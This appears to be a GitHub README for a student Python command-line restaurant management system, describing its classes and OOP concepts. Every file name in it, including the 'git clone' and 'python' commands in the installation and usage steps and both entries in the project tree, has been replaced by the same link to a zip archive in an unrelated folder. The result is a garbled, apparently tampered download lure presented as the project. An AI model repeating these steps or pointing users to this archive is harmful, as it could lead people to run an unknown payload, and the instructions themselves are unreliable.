Skip to content

iftekharul01/Restaurant-Management-System-in-Python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🍽️ Restaurant Management System

A comprehensive command-line restaurant management system built with Python, implementing Object-Oriented Programming (OOP) principles including abstraction, inheritance, and encapsulation.

✨ Features

Admin Features

  • πŸ” Secure login with username and password
  • πŸ“Š View total sales and revenue
  • βž• Add new items to the menu
  • ❌ Delete items from the menu
  • πŸ“‹ Display current order menu

Customer Features

  • πŸ›’ Place orders from the available menu
  • πŸ‘€ View ordered items
  • πŸ—‘οΈ Delete items from current order
  • πŸ’° Display final bill with total amount

πŸ› οΈ Technologies

  • Language: Python 3.x
  • Paradigm: Object-Oriented Programming (OOP)
  • Concepts: Abstraction, Inheritance, Encapsulation, Polymorphism

πŸ“₯ Installation

  1. Clone the repository

    git clone https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Python_Restaurant_in_System_Management_v3.3.zip
  2. Navigate to the project directory

    cd Restaurant-Management-System-in-Python
  3. Ensure Python is installed

    python --version

    Requires Python 3.6 or higher

  4. Run the application

    python https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Python_Restaurant_in_System_Management_v3.3.zip

πŸš€ Usage

Running the Program

python https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Python_Restaurant_in_System_Management_v3.3.zip

Main Menu Options

  1. Admin Section - Access administrative features
  2. Customer Section - Place and manage orders
  3. Exit - Close the application

Admin Login Credentials

  • Username: admin
  • Password: 1234

Note: For production use, implement secure password hashing and storage.

πŸ“ Project Structure

Restaurant-Management-System-in-Python/
β”œβ”€β”€ https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Python_Restaurant_in_System_Management_v3.3.zip    # Main application file
└── https://raw.githubusercontent.com/iftekharul01/Restaurant-Management-System-in-Python/main/Buxbaumia/Python_Restaurant_in_System_Management_v3.3.zip                          # Project documentation

Class Structure

  • MenuItem - Represents individual menu items
  • AbstractMenu - Abstract base class defining menu operations
  • Menu - Implements menu management functionality
  • TotalSales - Extends Menu to calculate and display sales
  • RestaurantManagementSystem - Main class orchestrating the application

πŸŽ“ OOP Concepts

1. Abstraction

The AbstractMenu class uses Python's ABC module to define abstract methods that must be implemented by subclasses:

@abstractmethod
def add_item(self, data, foodname, price):
    pass

2. Inheritance

TotalSales inherits from Menu, extending functionality:

class TotalSales(Menu):
    def calculate_total_sale(self):
        # Implementation

3. Encapsulation

Private attributes are used to protect sensitive data:

self.__pass = "1234"  # Private password attribute

4. Polymorphism

Method overriding in the TotalSales class:

def display(self):
    super().display()  # Calls parent method
    # Additional functionality

πŸ”‘ Admin Section

Available Operations

  1. View Total Sales

    • Displays all sold items with quantities
    • Shows total revenue generated
  2. Add New Items

    • Enter serial number, name, and price
    • Validates for duplicate entries
  3. Delete Items

    • Remove items by serial number
    • Displays updated menu
  4. Display Order Menu

    • Shows all available menu items

πŸ›οΈ Customer Section

Customer Operations

  1. Place Order

    • Select items from the menu
    • Specify quantity
    • Automatic price calculation
  2. View Ordered Items

    • Lists all items in current order
    • Shows quantities and prices
  3. Delete from Order

    • Remove items before finalizing
    • Updates order total
  4. Display Final Bill

    • Shows itemized bill
    • Calculates total amount

πŸ“Έ Screenshots

**************************************************************************
                WELCOME TO RESTAURANT MANAGEMENT SYSTEM
**************************************************************************

                        1. ADMIN SECTION
                        2. CUSTOMER SECTION
                        3. Exit

🀝 Contributing

Contributions are welcome! Here's how you can help:

  1. Fork the repository
  2. Create a feature branch
    git checkout -b feature/AmazingFeature
  3. Commit your changes
    git commit -m 'Add some AmazingFeature'
  4. Push to the branch
    git push origin feature/AmazingFeature
  5. Open a Pull Request

Potential Improvements

  • πŸ” Implement secure authentication with hashing
  • πŸ’Ύ Add database integration (SQLite/PostgreSQL)
  • πŸ–₯️ Create GUI using Tkinter or PyQt
  • πŸ“Š Generate sales reports and analytics
  • 🧾 Add receipt printing functionality
  • πŸ’³ Implement payment processing
  • πŸ‘₯ Support multiple user roles
  • 🌐 Add web interface using Flask/Django

πŸ“„ License

This project is licensed under the MIT License - see the LICENSE file for details.

πŸ‘¨β€πŸ’» Author

Your Name

πŸ™ Acknowledgments

  • Built as part of CSE222 (Object-Oriented Programming 2) course project
  • Thanks to all contributors and reviewers

πŸ“ž Support

If you encounter any issues or have questions:

  • Open an issue
  • Contact via email

⭐ Star this repository if you find it helpful! ⭐

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages